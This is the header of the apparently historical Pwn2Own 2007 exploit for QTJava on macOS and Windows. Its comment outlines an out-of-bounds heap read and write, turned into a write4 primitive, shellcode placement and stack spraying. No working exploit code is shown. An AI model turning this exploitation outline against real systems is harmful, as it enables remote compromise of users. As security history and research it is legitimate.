PWN2OWN 2007 Winning Exploit (QTJava on MacOS and Windows when iTunes is installed)
/*
* Lambda
*
* QTJava, a Java extension made available to Java applets has some
* parameter validation problems when calling native memory copying
* methods. This allows us to read and write out of the bounds of our
* heap allocated QTObject. With some tricks, we are able to turn
* this into a write4 primative allowing us to write arbitrary values
* to chosen locations. Insert the shellcode in a writable and
* executable page, spam the stack with that address, and owned.
*
* Vulnerability discovered, researched, and exploited over the night
* to remotely win the 'pwn-2-own' contest at CanSecWest 07.
